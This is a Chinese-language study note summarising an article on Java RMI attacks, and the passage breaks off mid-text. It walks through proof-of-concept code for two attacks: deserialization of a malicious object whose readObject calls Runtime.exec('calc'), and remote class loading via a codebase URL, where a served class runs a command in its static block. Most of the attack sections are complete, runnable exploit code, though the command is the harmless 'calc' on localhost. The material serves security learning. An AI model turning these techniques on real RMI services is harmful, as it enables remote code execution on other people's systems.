關於<Java 中 RMI、JNDI、LDAP、JRMP、JMX、JMS那些事兒(上)>看後的一些總結-1
原文地址:https://www.anquanke.com/post/id/194384#h3-3
1.java rmi
關於rmi客戶端和服務端通訊的過程,java的方法都實現在rmi服務端,客戶端實際上是通過訪問rmi登錄檔拿到stub,然後再通過它呼叫服務端方法,那麼呼叫方法時要傳遞引數,引數可以為一般型別,也可以為引用型別,那麼如果為引用型別,就能夠利用服務端已經有的gaget chain來打server,因為引數實際上是序列化傳輸的,那麼資料到達服務端後必定會經過反序列化。
客戶端:
RMIClient.java
package com.longofo.javarmi; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry; public class RMIClient { /** * Java RMI惡意利用demo * * @param args * @throws Exception */ public static void main(String[] args) throws Exception { Registry registry = LocateRegistry.getRegistry("127.0.0.1", 9999); // 獲取遠端物件的引用 Services services = (Services) registry.lookup("Services"); PublicKnown malicious = new PublicKnown(); malicious.setParam("calc"); malicious.setMessage("haha"); // 使用遠端物件的引用呼叫對應的方法 System.out.println(services.sendMessage(malicious)); } }
此時客戶端要打服務端,因此要將惡意的物件作為引數傳遞到服務端,此時序列化的物件將在服務端反序列化
publicKnown.java
package com.longofo.javarmi; import java.io.IOException; import java.io.ObjectInputStream; import java.io.Serializable; public class PublicKnown extends Message implements Serializable { private static final long serialVersionUID = 7439581476576889858L; private String param; public void setParam(String param) { this.param = param; } private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException { in.defaultReadObject(); Runtime.getRuntime().exec(this.param); } }
此時要傳遞的惡意物件肯定要符合服務端引數型別的定義
服務端:
RMIServer.java
//RMIServer.java package com.longofo.javarmi; import java.rmi.AlreadyBoundException; import java.rmi.RemoteException; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry; import java.rmi.server.UnicastRemoteObject; public class RMIServer { /** * Java RMI 服務端 * * @param args */ public static void main(String[] args) { try { // 例項化服務端遠端物件 ServicesImpl obj = new ServicesImpl(); // 沒有繼承UnicastRemoteObject時需要使用靜態方法exportObject處理 Services services = (Services) UnicastRemoteObject.exportObject(obj, 0); Registry reg; try { // 建立Registry reg = LocateRegistry.createRegistry(9999); System.out.println("java RMI registry created. port on 9999..."); } catch (Exception e) { System.out.println("Using existing registry"); reg = LocateRegistry.getRegistry(); } //繫結遠端物件到Registry reg.bind("Services", services); } catch (RemoteException e) { e.printStackTrace(); } catch (AlreadyBoundException e) { e.printStackTrace(); } } }
ServiceImpl.java
package com.longofo.javarmi; import java.rmi.RemoteException; public class ServicesImpl implements Services { public ServicesImpl() throws RemoteException { } @Override public Object sendMessage(Message msg) throws RemoteException { return msg.getMessage(); } }
Service.java
package com.longofo.javarmi; import java.rmi.RemoteException; public interface Services extends java.rmi.Remote { Object sendMessage(Message msg) throws RemoteException; }
Message.java
package com.longofo.javarmi; import java.io.Serializable; public class Message implements Serializable { private static final long serialVersionUID = -6210579029160025375L; private String msg; public Message() { } public String getMessage() { System.out.println("Processing message: " + msg); return msg; } public void setMessage(String msg) { this.msg = msg; } }
所以這裡服務端存在漏洞的即為ServicesImpl類,其存在一個方法其入口引數為Message物件,並且這裡Message這個類是繼承自Serializable,即可以進行反序列化。服務端通過bind()函式繫結遠端物件到RMI登錄檔中,此時客戶端即可以訪問RMI登錄檔拿到stub,即可呼叫服務端的方法,比如sendMessage()函式
此時先啟動RMIServer.java,然後再啟動RMIClient.java,即可達到打rmi服務端的效果,這裡jdk版本為1.6
在服務端的readObject處下斷點,即可看到呼叫棧,經過ConnectHandler後就能夠確定服務端要反序列化的類名
接下來就是通過反射呼叫PublicKnown類的readObject方法 ,進而到達readObject內部的命令執行程式碼段
2.java rmi 動態載入類
2.1RMI服務端打客戶端
java rmi動態載入類,其實就是通過指定codebase來制定遠端的類倉庫,我們知道java在執行過程中需要類的時候可以在本地載入,即在classpath中找,那麼也可以通過codebase來指定遠端庫。預設是不允許遠端載入的,如需載入則需要安裝RMISecurityManager並且配置java.security.policy。並且需要java.rmi.server.useCodebaseOnly 的值必需為false,當然這也是受jdk版本限制的。
RMIClient.java
package com.longofo.javarmi; import java.rmi.RMISecurityManager; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry; public class RMIClient1 { /** * Java RMI惡意利用demo * * @param args * @throws Exception */ public static void main(String[] args) throws Exception { //如果需要使用RMI的動態載入功能,需要開啟RMISecurityManager,並配置policy以允許從遠端載入類庫 System.setProperty("java.security.policy", RMIClient1.class.getClassLoader().getResource("java.policy").getFile()); RMISecurityManager securityManager = new RMISecurityManager(); System.setSecurityManager(securityManager); Registry registry = LocateRegistry.getRegistry("127.0.0.1", 9999); // 獲取遠端物件的引用 Services services = (Services) registry.lookup("Services"); Message message = new Message(); message.setMessage("hahaha"); services.sendMessage(message); } }
此時RMI客戶端正常操作,傳入Message物件,並呼叫服務端sendMessage方法
ServiceImpl.java
package com.longofo.javarmi; import com.longofo.remoteclass.ExportObject; import java.rmi.RemoteException; public class ServicesImpl1 implements Services { @Override public ExportObject sendMessage(Message msg) throws RemoteException { return new ExportObject(); } }
可以看到此時服務端實現Services介面的類的sendMessage方法返回值為ExportObject型別,即該類的例項
ExportObject.java
// // Source code recreated from a .class file by IntelliJ IDEA // (powered by Fernflower decompiler) // package com.longofo.remoteclass; import java.io.BufferedInputStream; import java.io.BufferedReader; import java.io.InputStreamReader; import java.io.Serializable; import java.util.Hashtable; import javax.naming.Context; import javax.naming.Name; import javax.naming.spi.ObjectFactory; public class ExportObject implements ObjectFactory, Serializable { private static final long serialVersionUID = 4474289574195395731L; public ExportObject() { } public static void exec(String cmd) throws Exception { String sb = ""; BufferedInputStream in = new BufferedInputStream(Runtime.getRuntime().exec(cmd).getInputStream()); BufferedReader inBr; String lineStr; for(inBr = new BufferedReader(new InputStreamReader(in)); (lineStr = inBr.readLine()) != null; sb = sb + lineStr + "\n") { } inBr.close(); in.close(); } public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception { return null; } static { try { exec("calc"); } catch (Exception var1) { var1.printStackTrace(); } } }
這裡實際上服務端返回的即為該ExportObject類的例項,該類是實現了物件工廠類,並且可以序列化的,所以可以通過jrmp進行傳輸,我們只需要將其編譯放在伺服器端指定的codebase地址即可等待客戶端來載入,當客戶端遠端載入該類時將會例項化該類,即呼叫該類的static程式碼段
RMIServer.java
package com.longofo.javarmi; import java.rmi.AlreadyBoundException; import java.rmi.RemoteException; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry; import java.rmi.server.UnicastRemoteObject; public class RMIServer1 { public static void main(String[] args) { try { // 例項化服務端遠端物件 ServicesImpl1 obj = new ServicesImpl1(); // 沒有繼承UnicastRemoteObject時需要使用靜態方法exportObject處理 Services services = (Services) UnicastRemoteObject.exportObject(obj, 0); //設定java.rmi.server.codebase System.setProperty("java.rmi.server.codebase", "http://127.0.0.1:8000/"); Registry reg; try { // 建立Registry reg = LocateRegistry.createRegistry(9999); System.out.println("java RMI registry created. port on 9999..."); } catch (Exception e) { System.out.println("Using existing registry"); reg = LocateRegistry.getRegistry(); } //繫結遠端物件到Registry reg.bind("Services", services); } catch (RemoteException e) { e.printStackTrace(); } catch (AlreadyBoundException e) { e.printStackTrace(); } } }
此時RMIServer端指定了客戶端codebase的地址,即客戶端反序列化ExportObject時需要載入該類,此時將通過服務端提供的codebase來載入
此時先啟動託管遠端類的服務端,將ExportObject.class放在codebase指定的位置,這裡要注意包名要和目錄名相一致
然後啟動RMI服務端,啟動RMI客戶端,即完成了客戶端要呼叫sendMessage方法,此時服務端返回了ExportObject物件,客戶端發現返回的是ExportObject物件後,那將在本地的classpath中沒找到該類,則通過服務端指定的codebase來載入該類,載入該類的後將例項化該類,從而觸發calc
此時託管class的http服務端也收到了載入class檔案的請求
2.2RMI客戶端打服務端
RMIClient.java
package com.longofo.javarmi; import com.longofo.remoteclass.ExportObject1; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry; public class RMIClient2 { public static void main(String[] args) throws Exception { System.setProperty("java.rmi.server.codebase", "http://127.0.0.1:8000/"); Registry registry = LocateRegistry.getRegistry("127.0.0.1",9999); // 獲取遠端物件的引用 Services services = (Services) registry.lookup("Services"); ExportObject1 exportObject1 = new ExportObject1(); exportObject1.setMessage("hahaha"); services.sendMessage(exportObject1); } }
上面RMI客戶端打RMI服務端是服務端來指定codebase地址供客戶端參考,客戶端來載入codebase地址的class檔案,那麼從上面這段程式碼可以看到此時是客戶端制定了codebase地址,那麼當然服務端就得從客戶端指定的codebase來載入class了,可以看到此時客戶端呼叫服務端的sendMessage函式傳遞的是ExportObject1物件
ExportObject1.java
package com.longofo.remoteclass; import com.longofo.javarmi.Message; import javax.naming.Context; import javax.naming.Name; import javax.naming.spi.ObjectFactory; import java.io.Serializable; import java.util.Hashtable; public class ExportObject1 extends Message implements ObjectFactory, Serializable { private static final long serialVersionUID = 4474289574195395731L; public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception { return null; } }
此時該類繼承自Message類,實現物件工廠介面,並且支援序列化
ServiceImpl.java
package com.longofo.javarmi; import java.rmi.RemoteException; public class ServicesImpl implements Services { public ServicesImpl() throws RemoteException { } @Override public Object sendMessage(Message msg) throws RemoteException { return msg.getMessage(); } }
RMIServer.java
//RMIServer2.java package com.longofo.javarmi; import java.rmi.AlreadyBoundException; import java.rmi.RMISecurityManager; import java.rmi.RemoteException; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry; import java.rmi.server.UnicastRemoteObject; public class RMIServer2 { /** * Java RMI 服務端 * * @param args */ public static void main(String[] args) { try { // 例項化服務端遠端物件 ServicesImpl obj = new ServicesImpl(); // 沒有繼承UnicastRemoteObject時需要使用靜態方法exportObject處理 Services services = (Services) UnicastRemoteObject.exportObject(obj, 0); Registry reg; try { //如果需要使用RMI的動態載入功能,需要開啟RMISecurityManager,並配置policy以允許從遠端載入類庫 System.setProperty("java.security.policy", RMIServer.class.getClassLoader().getResource("java.policy").getFile()); RMISecurityManager securityManager = new RMISecurityManager(); System.setSecurityManager(securityManager); // 建立Registry reg = LocateRegistry.createRegistry(9999); System.out.println("java RMI registry created. port on 9999..."); } catch (Exception e) { System.out.println("Using existing registry"); reg = LocateRegistry.getRegistry(); } //繫結遠端物件到Registry reg.bind("Services", services); } catch (RemoteException e) { e.printStackTrace(); } catch (AlreadyBoundException e) { e.printStackTrace(); } } }
可以由以上程式碼看到,此時RMI服務端繫結的services介面對應的ServicesImpl.java中sendMessage函式將會呼叫入口引數Message型別物件的getmessage函式,這裡方法體內容是什麼並不重要,因為這種打法和第一節中的打法一樣,都是打RMI服務端,區別是第一節是利用RMI服務端本地的gaget chain,而這裡則是利用遠端類載入,通過客戶端指定的codebase來打RMI服務端。
所以此時codebase的地址也將受到請求ExportObject1.class的請求,因為服務端發現穿送過來的ExportObject1類classpath裡面沒有,所有就會通過客戶端指定的codebase載入,從而例項化該惡意ExportObject1類,執行static程式碼塊的命令
&n